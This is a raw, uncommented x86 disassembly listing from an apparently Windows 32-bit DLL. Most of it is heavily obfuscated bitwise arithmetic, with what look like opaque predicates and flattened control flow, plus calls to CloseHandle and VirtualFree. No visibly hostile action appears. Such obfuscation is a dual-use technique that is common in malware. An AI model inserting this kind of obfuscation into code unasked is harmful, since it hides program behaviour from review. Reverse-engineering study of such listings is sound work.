and edi, 0x300006
or edi, eax
xor edi, esi
not edx
or edx, edi
mov eax, dword [ebp - 0x14]
mov esi, eax
xor esi, 0x59f5a956
mov ecx, esi
and ecx, eax
mov edi, ecx
not edi
mov eax, edi
and eax, 0x164c6d65
and ecx, 0xe9b3929a
or ecx, eax
mov eax, dword [ebp - 0x14]
not eax
mov dword [ebp - 0x24], eax
and esi, eax
mov eax, esi
not eax
or edi, eax
and eax, 0x164c6d65
and esi, 0xe9b3929a
or esi, eax
xor esi, ecx
not edi
or edi, esi
xor edi, edx
xor ebx, 0xf999f2c2
mov eax, ebx
and eax, 0x1374012
mov ecx, dword [ebp - 0x20]
and ecx, 0xe688b6ac
or ecx, eax
mov eax, dword [ebp - 0x24]
or ebx, eax
and eax, 0x19774953
mov edx, eax
mov eax, dword [ebp - 0x14]
and eax, 0xe688b6ac
or eax, edx
xor eax, ecx
not ebx
or ebx, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 0xab719bc
and edi, 0xf548e643
or edi, ecx
xor edi, ebx
xor edi, 0xf548e643
or eax, ebx
not eax
or eax, edi
mov edx, eax
xor edx, 0xf8c1ad41
xor eax, 0x73e52be
mov ecx, eax
and ecx, 0x258256c9
and eax, edx
and edx, 0xda7da936
or edx, ecx
xor edx, 0xda7da936
or edx, eax
mov eax, edx
not eax
mov ecx, edx
or ecx, 0x61180507
and ecx, 0xe1390d07
mov esi, eax
and eax, 0x1244b208
or eax, ecx
or esi, 0x80210800
and esi, 0xe1390d07
and edx, 0xc8240f0
or edx, esi
xor edx, eax
mov eax, edx
xor eax, 0x6d1a4474
xor edx, 0x9265ba09
mov ecx, edx
and ecx, 0x92e59983
and eax, 0x6d1a667c
or eax, ecx
xor eax, 0x92e59982
xor edx, eax
and edx, eax
mov ecx, dword [ebp - 0x1c]
mov eax, ecx
and eax, 0xa322a1f9
mov edi, dword [ebp - 0x18]
mov esi, edi
and esi, 0x5cdd5e06
or esi, eax
mov eax, ecx
and eax, edi
xor esi, 0x5cdd5e06
or esi, eax
mov edi, esi
not edi
mov ecx, esi
xor ecx, 0x8a3811d
and ecx, edi
mov eax, ecx
not eax
mov ebx, eax
and ebx, 0x4583e48c
and ecx, 0xba7c1b73
or ecx, ebx
or edi, 0x8a3811d
or eax, edi
and edi, 0x4583e48c
mov ebx, esi
and ebx, 0xb25c1a62
or ebx, edi
xor ebx, ecx
not eax
or eax, ebx
xor eax, 0xf75c7ee3
and esi, 0xfffffffe
or esi, eax
mov eax, esi
not eax
mov ecx, esi
or ecx, 0xac80a
and ecx, 0xa12ee81f
and eax, 0x56901260
or eax, ecx
mov ecx, esi
xor ecx, 0xf7b43275
and ecx, esi
mov edi, ecx
not edi
or esi, edi
and edi, 0xa12ee81f
and ecx, 0x5ed117e0
or ecx, edi
xor ecx, eax
not esi
or esi, ecx
not ecx
and ecx, 0x84bcd8a
and esi, 0xf7b43275
or esi, ecx
mov eax, esi
not eax
and esi, 0xab88fc15
and eax, 0x547703ea
or eax, esi
mov esi, eax
xor esi, 0x2208e005
xor eax, 0x54420120
and eax, 0xddc21d30
and esi, 0x223de2cf
or esi, eax
mov eax, edx
not eax
mov ecx, edx
xor ecx, 0xef4f3377
and ecx, edx
or edx, 0x10b0cc88
mov ebx, edx
and ebx, 0x36aa8012
mov edi, eax
and eax, 0xc9453365
or eax, ebx
mov ebx, ecx
not ebx
or edx, ebx
and ebx, 0x36aa8012
and ecx, 0xc9557fed
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov eax, esi
xor eax, 0x2050007
or eax, 0x304888
mov ecx, esi
xor ecx, 0x5401100
and eax, 0xca3748bf
and ecx, 0x25483340
or ecx, eax
mov eax, esi
xor eax, 0xddc21d30
or edi, eax
or eax, 0xca070037
xor esi, 0x8000
and eax, 0xca3748bf
and esi, 0x10808400
or esi, eax
xor esi, ecx
mov ebx, esi
xor ebx, esi
not ebx
and ebx, edx
xor ebx, esi
mov eax, ebx
and ebx, edi
not edi
not eax
mov ecx, edi
xor ecx, eax
and ecx, edi
and eax, edi
or eax, ebx
mov edx, ecx
not edx
mov esi, edx
and esi, 0x6b69b77a
and ecx, 0x94964885
or ecx, esi
mov esi, eax
not esi
or edx, esi
and esi, 0x6b69b77a
and eax, 0x94964885
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov esi, edx
not esi
mov eax, edx
or eax, 0x40930
and eax, 0x4040938
mov edi, esi
and edi, 0x8000000
or edi, eax
mov eax, esi
or eax, 0x4000008
and eax, 0x4040938
mov ecx, edx
and ecx, 0x30400080
or ecx, eax
xor ecx, edi
mov eax, esi
and eax, 0x3c4409b8
and edx, 0xc3bbf647
or edx, eax
xor esi, edx
and esi, edx
mov edx, ecx
xor edx, 0x20000810
xor ecx, 0xcfbbf64f
mov eax, ecx
and ecx, 0xd84581a7
and edx, 0x24000818
or edx, ecx
mov ecx, esi
not ecx
or eax, ecx
and ecx, 0xd84581a7
and esi, 0x27ba7e58
or esi, ecx
xor esi, edx
mov edx, esi
not edx
mov ecx, edx
and ecx, 0x4441bfab
and esi, 0xbbbe4054
or esi, ecx
or edx, eax
and eax, 0xfc65bffb
xor eax, esi
xor eax, 0xb8240050
not edx
or edx, eax
mov ecx, dword [ebp - 0x1c]
mov eax, ecx
and eax, 0x4062080
mov edi, dword [ebp - 0x18]
mov esi, edi
and esi, 0x2000a04
or esi, eax
xor esi, 0x2000a04
mov eax, edi
xor eax, 0x6466bc4
and eax, edi
or esi, eax
not eax
and eax, 0x79b89409
and esi, 0x6062a84
or esi, eax
mov eax, ecx
mov ebx, ecx
and eax, 0x3c9e3dc6
and edi, 0xc361c239
or edi, eax
mov ecx, esi
not ecx
xor edi, 0x4320834b
xor ebx, edi
and ebx, edi
mov edi, ebx
not edi
mov eax, esi
xor eax, edi
and eax, esi
and ecx, 0x2cd4308b
and esi, 0x532a8e04
or esi, ecx
and edi, 0x2cd4308b
mov ecx, ebx
and ecx, 0xd32bcf74
or ecx, edi
mov edi, edx
xor edi, 0xc3bbf647
xor ecx, esi
or eax, ecx
not ecx
and ecx, 0x80010112
mov ebx, eax
xor ebx, 0x80414172
and ebx, eax
and eax, 0x404060
or eax, ecx
xor eax, 0x404060
or ebx, eax
mov eax, edx
xor eax, 0x3c4409b8
mov dword [ebp - 0x1c], eax
mov eax, edi
mov dword [ebp - 0x28], edi
or edi, 0x5125c85a
mov esi, edi
and esi, 0xc9a4ece9
mov ecx, dword [ebp - 0x1c]
and ecx, 0x265a1304
or ecx, esi
xor edx, 0x6d61c1e2
and edx, eax
mov esi, edx
not esi
or edi, esi
and esi, 0xc9a4ece9
and edx, 0x365b1316
or edx, esi
xor edx, ecx
not edi
or edi, edx
mov eax, ebx
not eax
mov ecx, eax
mov dword [ebp - 0x14], eax
and ecx, 0x4b970fbb
mov edx, ebx
and edx, 0xb468f044
or edx, ecx
xor edx, 0xb468f044
mov ecx, eax
and ecx, ebx
or ecx, edx
mov edx, ecx
mov esi, edi
xor esi, 0x5125c85a
mov dword [ebp - 0x20], esi
xor edi, 0xaeda37a5
mov dword [ebp - 0x18], edi
and edi, 0x27cd8e7d
and esi, 0xd8327182
or esi, edi
mov eax, dword [ebp - 0x1c]
and eax, 0x214d8c5c
mov ecx, dword [ebp - 0x28]
and ecx, 0x6800221
or ecx, eax
mov eax, ecx
xor eax, 0x4000001
or eax, 0x106182
xor ecx, 0x2109880c
and ecx, 0x23898a2c
and eax, 0x45465d3
or eax, ecx
mov dword [ebp - 0x24], edx
mov ecx, edx
not ecx
mov dword [ebp - 0x1c], ecx
and ecx, 0xd15f3549
and edx, 0x2ea0cab6
or edx, ecx
xor edx, 0xf692bb34
mov ecx, edx
xor ecx, dword [ebp - 0x1c]
and ecx, edx
mov edi, dword [ebp - 0x14]
mov edx, edi
and edx, 0x4d44977b
and ebx, 0xb2bb6884
or ebx, edx
xor ebx, 0x9576e6f9
mov edx, edi
xor edx, ebx
and edx, ebx
mov dword [ebp - 0x14], edx
not esi
or esi, dword [ebp - 0x18]
mov edx, esi
not edx
mov edi, eax
xor eax, 0xfbab9a2c
mov ebx, edx
xor ebx, eax
and ebx, edx
and esi, 0x401860d3
and edx, 0xbfe79f2c
or edx, esi
xor edi, 0x4440400
and eax, 0x401860d3
and edi, 0x27c58e2c
or edi, eax
xor edi, edx
mov edx, ebx
not edx
mov eax, edx
and eax, 0xeb48a82c
and ebx, 0x14b757d3
or ebx, eax
mov eax, edi
not eax
or edx, eax
and eax, 0xeb48a82c
and edi, 0x14b757d3
or edi, eax
xor edi, ebx
not edx
or edx, edi
mov eax, dword [ebp - 0x14]
mov edi, eax
not edi
mov ebx, ecx
xor ebx, edi
and ebx, ecx
xor edi, eax
and edi, ecx
xor edi, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xb1cd1506
and ebx, 0x4e32eaf9
or ebx, ecx
mov ecx, edi
not ecx
or eax, ecx
and ecx, 0xb1cd1506
and edi, 0x4e32eaf9
or edi, ecx
xor edi, ebx
not eax
or eax, edi
not eax
mov edi, edx
xor edi, eax
or eax, edx
not edi
and edi, edx
mov ecx, edi
not ecx
mov edx, ecx
and edx, 0xdcffe18a
and edi, 0x23001e75
or edi, edx
xor edi, eax
or ecx, eax
xor edi, 0x23001e75
not ecx
or ecx, edi
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x1c]
and edx, 0x17c21ca5
mov ecx, dword [ebp - 0x24]
mov eax, ecx
and eax, 0xe83de35a
or eax, edx
xor eax, 0xe83de35a
mov edx, eax
and edx, 0xc638f299
and ecx, 0x39c70d66
or ecx, edx
mov ebx, ecx
mov ecx, dword [ebp - 0x20]
mov esi, ecx
or esi, 0x20c50806
and esi, 0xa4fd189f
mov edi, dword [ebp - 0x18]
mov edx, edi
and edx, 0x4200e200
or edx, esi
mov esi, edi
or eax, edi
or esi, 0x84381099
and esi, 0xa4fd189f
and ecx, 0x19020560
or ecx, esi
xor ecx, edx
xor ecx, ebx
mov edi, ecx
not edi
mov edx, edi
and edx, 0x984a6418
and ecx, 0x67b59be7
or ecx, edx
xor ecx, eax
xor ecx, 0x67b59be7
or edi, eax
not edi
or edi, ecx
mov edx, edi
not edx
mov eax, edx
and eax, 0x24500
and edi, 0xa42ca06e
or edi, eax
xor edi, 0xa42ca06e
and edx, 0x5bd11a91
or edx, edi
mov eax, edx
mov edi, edx
xor edi, 0x269c796a
and edi, edx
not edx
and edx, 0x6fc5526a
and eax, 0x903aad95
or eax, edx
mov dword [ebp - 0x1c], eax
mov edx, eax
xor edx, 0x903aad95
mov dword [ebp - 0x18], edx
xor eax, 0x49592b00
and eax, edx
or edi, eax
mov ebx, dword [ebp - 0x14]
mov edx, ebx
not edx
xor ebx, 0x269c796a
and ebx, edx
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0x60ac2bfc
and ebx, 0x9f53d403
or ebx, eax
mov esi, edx
or esi, 0x269c796a
or ecx, esi
and esi, 0x60ac2bfc
mov eax, dword [ebp - 0x14]
and eax, 0x99438401
or eax, esi
xor eax, ebx
not ecx
or ecx, eax
mov ebx, edi
xor ebx, edi
not ebx
and ebx, ecx
xor ebx, edi
mov ecx, dword [ebp - 0x14]
mov eax, ecx
and eax, 0xb0438bb2
and edx, 0x4fbc744d
or edx, eax
mov eax, dword [ebp - 0x1c]
xor eax, 0x6fc5526a
or ecx, eax
mov esi, ecx
and eax, 0xb0438bb2
mov ecx, dword [ebp - 0x18]
and ecx, 0x4fbc744d
or ecx, eax
xor ecx, edx
not esi
or esi, ecx
not esi
or esi, ebx
mov eax, esi
not eax
mov edx, esi
and edx, 0xf5f641a0
mov ecx, eax
and ecx, 0xdbb89d52
and esi, 0x244762ad
or esi, ecx
xor esi, 0xdbb89d52
or esi, eax
and eax, 0xa09be5f
or eax, edx
mov ecx, eax
xor ecx, 0x91320020
xor eax, 0x8000c01
and eax, 0x6cc44d81
and ecx, 0x933bb27e
or ecx, eax
mov edx, ecx
xor edx, 0x13388278
xor ecx, 0x24044c01
and ecx, 0xa4077c07
and edx, 0x5bf883f8
or edx, ecx
mov eax, edx
xor eax, 0x9c00388
xor edx, 0xa4077c07
mov ecx, edx
or ecx, esi
not ecx
and edx, 0xd2398074
and eax, 0x2dc67f8b
or eax, edx
xor eax, esi
xor eax, 0x2dc67f8b
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x8930d2ac
mov esi, eax
and esi, 0x76cf2d53
or esi, edx
mov edx, esi
xor edx, 0x8930d2ac
xor esi, 0x328b2442
mov edi, edx
and edi, 0xcd649995
and esi, 0x329b666a
or esi, edi
or edx, eax
and eax, 0xcd649995
and ecx, 0x329b666a
or ecx, eax
xor ecx, esi
not edx
or edx, ecx
xor edx, 0xefdfa9e4
cmp edx, 0x1020561b
setne dl
mov byte [ebp - 0x14], dl
cmp dword [0x10045904], 0xa
setge dh
setl bh
mov eax, edx
inc al
mov byte [ebp - 0x1c], al
mov ch, dl
and ch, al
xor ch, 1
mov eax, edx
xor al, ch
mov cl, ch
or cl, dl
xor cl, 1
or al, cl
mov bl, al
xor bl, 1
mov ah, al
and ah, bl
xor ah, 1
or ah, al
xor ah, 1
or ah, bl
mov al, ah
xor al, 1
mov dl, bh
mov byte [ebp - 0x18], bh
mov bl, bh
and bl, ah
mov bh, al
and bh, dh
or bh, bl
xor bh, 1
or bh, al
mov al, ah
xor al, dh
and ah, al
and al, dh
mov bl, ah
xor bl, 1
xor ah, al
xor al, 1
or al, bl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov bl, dl
and bl, ah
and al, dh
or al, bl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
and al, ah
xor al, 1
mov dl, ah
xor dl, al
or al, ah
mov bl, bh
xor bl, 1
xor al, 1
or al, dl
xor al, 1
mov dl, al
or dl, bh
xor dl, 1
mov ah, bl
xor ah, al
and bh, ah
or bh, dl
or al, bl
xor ah, 1
mov dl, ah
xor dl, al
or ah, al
xor ah, 1
or ah, dl
xor ah, 1
or ah, bh
mov dl, byte [ebp - 0x1c]
or ch, dl
xor ch, 1
or ch, byte [ebp - 0x14]
mov bl, ch
xor bl, 1
mov bh, bl
and bh, ch
mov al, bl
xor al, bh
xor bh, 1
or bh, ch
xor bh, 1
or bh, al
xor bh, 1
mov al, bh
xor al, bl
or bh, bl
xor bh, 1
or bh, al
xor bh, 1
mov al, bl
xor al, bh
or bh, bl
or cl, dl
mov dl, dh
mov bl, byte [ebp - 0x14]
or bl, dh
and dl, cl
mov ch, dl
xor cl, 1
mov dl, byte [ebp - 0x18]
and cl, dl
xor bh, 1
or bh, al
xor bh, 1
or bh, al
xor bh, 1
or dl, bh
xor dh, bh
and dh, bh
xor dh, 1
mov al, dl
or al, dh
xor dh, dl
xor dh, 1
mov dl, al
xor dl, dh
or dh, al
xor dh, 1
or dh, dl
or cl, ch
xor cl, 1
mov dl, bl
mov al, bl
xor al, cl
xor al, 1
or cl, dl
mov dl, al
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov al, cl
xor al, 1
and al, cl
xor al, 1
mov dl, al
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov dl, al
xor dl, 1
mov ch, dh
xor ch, 1
mov cl, dl
and cl, al
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov bh, dh
and bh, ch
xor bh, 1
or bh, ch
xor bh, 1
or bh, dh
mov dl, bh
xor dl, al
and al, dl
and dl, bh
mov bh, al
xor bh, 1
xor al, dl
xor dl, 1
or dl, bh
xor dl, 1
or dl, al
and dh, cl
and bl, ch
or bl, dh
mov al, ch
xor al, cl
or cl, ch
xor cl, 1
or cl, al
xor cl, 1
or cl, bl
xor cl, dl
and dl, cl
xor dl, 1
mov al, dl
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov ecx, edx
xor cl, 1
mov al, dl
and al, cl
xor al, 1
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
mov ecx, eax
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov ch, cl
and ch, al
xor cl, 1
and cl, dl
or cl, ch
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov dl, ah
xor dl, 1
mov dh, ah
and dh, dl
xor dh, 1
mov al, dl
xor al, dh
mov ch, dl
or ch, dh
xor ch, 1
or ch, al
mov al, ch
xor al, 1
and ch, al
xor ch, 1
mov bl, ch
xor bl, al
or ch, al
xor ch, 1
or ch, bl
mov bl, ch
xor bl, 1
or dh, ah
mov al, dh
xor al, 1
mov ah, bl
and ah, al
and al, dh
xor al, 1
mov bh, al
xor bh, dh
or al, dh
and dh, ch
or ah, dh
xor al, 1
or al, bh
xor ah, 1
or ah, ch
and ch, al
xor al, 1
and al, bl
or al, ch
mov ch, al
xor ch, 1
or ch, ah
xor al, ah
mov ah, ch
xor ah, al
or al, ch
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov ch, cl
and ch, ah
or ah, cl
mov dh, dl
xor dh, cl
or dl, cl
xor cl, 1
and al, cl
or ch, al
xor ch, 1
or ch, cl
mov al, ch
xor al, 1
mov cl, ah
xor cl, 1
and cl, ch
or ch, ah
and ah, al
or ah, cl
xor ah, 1
mov al, ah
xor al, ch
or ah, ch
xor ah, 1
or ah, al
xor dl, 1
or dl, dh
mov al, dl
xor al, 1
mov ch, dh
xor ch, 1
and dh, dl
or dl, ch
xor dl, 1
and ch, al
or ch, dh
or ch, dl
mov dl, ch
xor dl, 1
mov al, ah
xor al, 1
mov cl, ch
xor cl, ah
and ch, ah
or ah, dl
and al, dl
or al, ch
xor al, 1
mov edx, eax
xor dl, ah
or al, ah
xor al, 1
or al, dl
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x795172ee
mov esi, 0x34d79ba6
cmovne eax, esi
test dl, 1
mov edx, 0x795172ee
cmovne eax, edx
test cl, 1
cmove eax, esi
jmp 0x1000f9b0
cmp byte [ebp - 0x51], 0
mov eax, 0xd4bf6bc7
mov ecx, 0x9b49e27f
cmovne eax, ecx
jmp 0x1000f9b0
mov eax, dword [ebp - 0x3c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x40]
push 0x8000
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 0x48]
mov dword [eax], 1
mov eax, dword [0x10045900]
lea edx, [eax + 1]
imul edx, eax
mov esi, edx
not esi
mov ecx, edx
mov ebx, edx
and ecx, 0xd2dcf797
mov eax, esi
and eax, 0x2d230868
or eax, ecx
mov edi, eax
xor edi, 0x125c9295
xor eax, 0xd010060
and eax, 0xcd816562
and edi, 0x327e9a9d
or edi, eax
mov eax, edi
xor eax, 0x30489098
mov ecx, edi
xor ecx, 0xcd816562
and eax, 0xfc48f0fa
xor edi, 0x31c99598
and edi, ecx
or edi, eax
mov eax, edi
xor eax, 0x10000070
xor edi, 0x3b70f05
mov ecx, edi
and ecx, 0xc0913402
and eax, 0x10000970
or eax, ecx
xor eax, 0x10000970
and edi, 0x2f6ec28d
or edi, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x4820488
mov edx, edi
and edx, 0xb101c020
or edx, ecx
mov ecx, edx
xor ecx, 0x1000000
xor edx, 0x461a3b91
and edx, 0xf61bfbb1
and ecx, 0x1800408
or ecx, edx
or eax, 0xb403c0a0
and eax, 0xf61bfbb1
and edi, 0x8640046
or edi, eax
xor edi, ecx
mov eax, edi
xor eax, 0x400852
xor edi, 0xb583c4a9
mov ecx, edi
and ecx, 0x6abcb7ad
and eax, 0x95434852
or eax, ecx
xor eax, 0x6abcb7ac
xor edi, eax
and edi, eax
mov dword [ebp - 0x20], ebx
mov eax, ebx
and eax, 0xfffffffe
mov dword [ebp - 0x1c], esi
mov ecx, esi
and ecx, 1
or ecx, eax
mov eax, ebx
xor eax, 0xfffffffe
and eax, esi
or ecx, eax
mov esi, ecx
mov dword [ebp - 0x18], ecx
mov eax, edi
not eax
mov ecx, edi
or ecx, 0x1139000
and ecx, 0x113b013
mov edx, eax
and edx, 0xf6084ae0
or edx, ecx
mov ecx, eax
or ecx, 0x2013
and ecx, 0x113b013
mov ebx, edi
and ebx, 0x8e4050c
or ebx, ecx
xor ebx, edx
mov edx, ebx
xor edx, 0x9f7950c
mov dword [ebp - 0x24], edx
xor ebx, 0xf6086af3
mov dword [ebp - 0x14], ebx
mov ecx, ebx
and ecx, 0x2a07be0a
and edx, 0xd5f841f5
or edx, ecx
and eax, 0x2062e0a
and edi, 0x28019000
or edi, eax
mov ebx, esi
not ebx
mov dword [ebp - 0x28], ebx
mov eax, ebx
and eax, 0x2a07be0a
mov ecx, esi
and ecx, 0xd5f841f5
or ecx, eax
mov eax, ecx
xor eax, ebx
and eax, ecx
mov dword [ebp - 0x2c], eax
mov eax, esi
and eax, 0x3d7c2053
and ebx, 0xc283dfac
or ebx, eax
not edx
or edx, dword [ebp - 0x14]
mov ecx, edx
not ecx
and edx, 0x47c756a1
mov eax, ecx
and eax, 0xb838a95e
or eax, edx
mov esi, eax
xor esi, 0xb838a95e
mov dword [ebp - 0x30], esi
mov edx, eax
xor edx, 0x6af5aa4e
and edx, esi
and ecx, 0xd2cd0310
or ecx, edx
xor edi, 0x28019000
or edi, 0xd5f841f5
mov esi, edi
not esi
mov edx, edi
and edx, 0x2c32fcaf
mov dword [ebp - 0x34], edx
mov edx, esi
and edx, 0x2050200
add edx, dword [ebp - 0x34]
xor edx, ecx
xor eax, 0x47c756a1
mov ecx, eax
and ecx, 0x9855589f
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x30]
and ecx, 0x67aaa760
add ecx, dword [ebp - 0x34]
or eax, esi
and esi, 0x805180a
and edi, 0x67aaa760
or edi, esi
xor edi, ecx
not eax
or eax, edi
xor edx, 0x1000040
not eax
or eax, edx
mov esi, dword [ebp - 0x2c]
mov ecx, esi
xor ecx, 0x1cbf252f
and ecx, esi
not esi
mov edx, esi
and edx, 0x1cbf252f
or ecx, edx
xor ebx, 0x177b9e59
or ebx, dword [ebp - 0x18]
mov edx, ebx
xor edx, 0xc0408090
or esi, ebx
xor ebx, 0x109a2005
and ebx, 0x339a7a45
and edx, 0xcc6585ba
or edx, ebx
xor edx, ecx
xor edx, 0x339a7a45
not esi
or esi, edx
mov ecx, eax
xor ecx, 0xe5fc58e5
and ecx, eax
mov edx, eax
or eax, 0x1a03a71a
not edx
mov edi, eax
and edi, 0x5b6c0c1e
and edx, 0xa49050e1
or edx, edi
mov edi, ecx
not edi
or eax, edi
and edi, 0x5b6c0c1e
and ecx, 0xa493f3e1
or ecx, edi
xor ecx, edx
not eax
or eax, ecx
mov edi, esi
xor edi, 0x45ac0841
xor esi, 0xa010100
and esi, 0xaa5151a4
and edi, 0x55aeae5b
or edi, esi
xor edi, eax
mov edx, dword [ebp - 0x14]
mov ecx, edx
and ecx, 0xaf8692a0
mov esi, dword [ebp - 0x24]
mov eax, esi
and eax, 0x50796d5f
or eax, ecx
mov ecx, esi
and ecx, 0x2ed76734
and edx, 0xd12898cb
or edx, ecx
mov ecx, dword [ebp - 0x18]
xor eax, ecx
or esi, ecx
and ecx, 0x2ed76734
mov ebx, dword [ebp - 0x28]
and ebx, 0xd12898cb
or ebx, ecx
xor ebx, edx
not esi
or esi, ebx
xor eax, 0xaf8692a0
not esi
or esi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x10121a
mov edx, esi
and edx, 0x108109c1
or edx, ecx
mov ecx, edx
xor ecx, 0x810880
xor edx, 0x8d7a403c
and edx, 0x9d7a417d
and ecx, 0x811a82
or ecx, edx
or eax, 0x10100159
and eax, 0x9d7a417d
mov edx, esi
and edx, 0x6204a400
or edx, eax
xor edx, ecx
mov ecx, edx
xor ecx, 0x85626020
xor edx, 0x10911bdb
mov eax, edx
and eax, 0x7a8d878e
and ecx, 0x85727871
or ecx, eax
xor ecx, 0x85727871
or ecx, edx
mov eax, edi
xor eax, 0xaa5151a4
xor edi, 0x55aeae5b
xor eax, edi
and eax, ecx
xor eax, edi
or edi, ecx
not edi
or eax, edi
mov ecx, eax
not ecx
and ecx, 0x23683b2d
and eax, 0xdc97c4d2
or eax, ecx
mov ecx, eax
xor ecx, 0xdc97c4d2
xor eax, 0x23683b2d
mov edx, eax
and edx, ecx
mov edi, edx
not edi
mov esi, edi
and esi, 0x87464e56
and edx, 0x78b9b1a9
or edx, esi
or edi, eax
and eax, 0x87464e56
and ecx, 0x78b9b1a9
or ecx, eax
xor ecx, edx
not edi
or edi, ecx
mov esi, edi
mov eax, dword [ebp - 0x20]
and eax, 0x81e6521f
mov ecx, dword [ebp - 0x1c]
and ecx, 0x7e19ade0
or ecx, eax
mov eax, ecx
xor eax, 0x204000
xor ecx, 0x4a008820
and ecx, 0xcbc69a3f
and eax, 0x343965c0
or eax, ecx
mov ecx, eax
xor ecx, 0x30202080
xor eax, 0xca409833
and ecx, 0x31a6228c
and eax, 0xce59dd73
or eax, ecx
mov edi, eax
xor edi, 0x20040208
xor eax, 0x42088513
and eax, 0x53aaa597
and edi, 0xac555a68
or edi, eax
mov dword [ebp - 0x18], esi
mov eax, esi
not eax
mov dword [ebp - 0x14], eax
and eax, 0x9c3eba98
and esi, 0x63c14567
or esi, eax
mov eax, edi
xor eax, 0x53aaa597
xor edi, 0xac555a68
mov edx, edi
and edx, 0xff313281
mov ecx, eax
mov dword [ebp - 0x1c], eax
and ecx, 0xcecd7e
or ecx, edx
mov edx, ecx
xor edx, 0xc2cc2e
xor ecx, 0xff313281
mov ebx, ecx
and ebx, 0x4d1c0151
and edx, 0xb2e3feae
or edx, ebx
mov ebx, edi
and ebx, eax
mov eax, ebx
not eax
or ecx, eax
and eax, 0x4d1c0151
and ebx, 0xb2e3feae
or ebx, eax
xor ebx, edx
not ecx
or ecx, ebx
mov dword [ebp - 0x24], esi
xor esi, 0x9c3eba98
mov dword [ebp - 0x20], esi
mov eax, esi
and esi, ecx
mov dword [ebp - 0x28], esi
mov ebx, ecx
mov edx, ecx
not edx
mov ecx, edx
and ecx, 0xda85266c
and ebx, 0x257ad993
or ebx, ecx
mov ecx, dword [ebp - 0x24]
xor ecx, 0x63c14567
xor ebx, 0xa8ac6c6a
or ebx, edx
mov esi, ecx
xor esi, edx
and esi, ecx
mov dword [ebp - 0x24], esi
and edx, ecx
and ecx, 0x6466965a
mov esi, dword [ebp - 0x20]
and esi, 0x9b9969a5
or esi, ecx
xor esi, 0xe9b023a3
and eax, 0x8dd6b5f9
or eax, esi
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
and eax, 0x39ee663
mov esi, dword [ebp - 0x14]
mov ecx, esi
and ecx, 0xfc61199c
or ecx, eax
xor ecx, 0x71b7ac65
and esi, 0x72294a06
or esi, ecx
mov eax, dword [ebp - 0x1c]
and eax, 0x645dcd44
mov ecx, edi
and ecx, 0x9ba232bb
or ecx, eax
xor ecx, 0x16748742
and edi, 0x72294a06
or edi, ecx
mov dword [ebp - 0x14], edi
mov edi, esi
not edi
mov eax, dword [ebp - 0x20]
and edi, eax
not eax
mov ecx, eax
xor ecx, esi
and ecx, eax
and esi, eax
or esi, edi
or esi, ecx
mov ecx, dword [ebp - 0x14]
mov eax, ecx
xor eax, 0x777c21dd
xor eax, ecx
xor eax, 0x8883de22
and eax, ebx
or ebx, ecx
xor eax, ecx
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x7dc7489b
and eax, 0x8238b764
or eax, ecx
xor eax, ebx
or edi, ebx
xor eax, 0x8238b764
not edi
or edi, eax
mov eax, esi
xor eax, 0x8d7fd2fb
and eax, esi
mov ecx, esi
or esi, 0x72802d04
not ecx
mov ebx, esi
and ebx, 0x7214dfc9
and ecx, 0x8d6b0032
or ecx, ebx
mov ebx, eax
not ebx
or esi, ebx
and ebx, 0x7214dfc9
and eax, 0x8deb2036
or eax, ebx
xor eax, ecx
not esi
or esi, eax
xor edi, 0x8d7fd2fb
mov ebx, edi
xor ebx, edi
not ebx
and ebx, esi
xor ebx, edi
or edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov esi, ecx
not esi
mov eax, esi
and eax, 0x6c21d4ab
and ecx, 0x93de2b54
or ecx, eax
mov eax, edx
not eax
or esi, eax
and eax, 0x6c21d4ab
and edx, 0x93de2b54
or edx, eax
xor edx, ecx
not esi
or esi, edx
mov eax, esi
not eax
and esi, 0x40d82031
and eax, 0xbf27dfce
or eax, esi
mov edi, eax
xor edi, 0x40800030
xor eax, 0xb049802
and eax, 0xb5cb803
and edi, 0xf4a347fc
or edi, eax
mov eax, ebx
not eax
mov dword [ebp - 0x18], eax
and eax, 0x65c2fe82
mov ecx, ebx
xor ecx, 0x65c2fe82
and ecx, ebx
or ecx, eax
mov dword [ebp - 0x1c], ecx
mov edx, edi
xor edx, 0xf4a347fc
mov ecx, edi
xor edi, 0x6e9e4681
and edi, edx
mov eax, edi
not eax
mov esi, eax
and esi, 0x706a676e
and edi, 0x8f959891
or edi, esi
xor ecx, 0xb5cb803
mov dword [ebp - 0x14], ecx
mov esi, edx
or esi, 0x65c2fe82
or eax, esi
and esi, 0x706a676e
mov ecx, dword [ebp - 0x14]
and ecx, 0x8a150011
or ecx, esi
xor ecx, edi
not eax
or eax, ecx
mov edi, eax
xor edi, eax
not edi
and edi, dword [ebp - 0x1c]
xor edi, eax
mov eax, ebx
and eax, 0x23783c5f
mov ecx, dword [ebp - 0x18]
and ecx, 0xdc87c3a0
or ecx, eax
mov eax, dword [ebp - 0x14]
or ebx, eax
and eax, 0x23783c5f
and edx, 0xdc87c3a0
or edx, eax
xor edx, ecx
not ebx
or ebx, edx
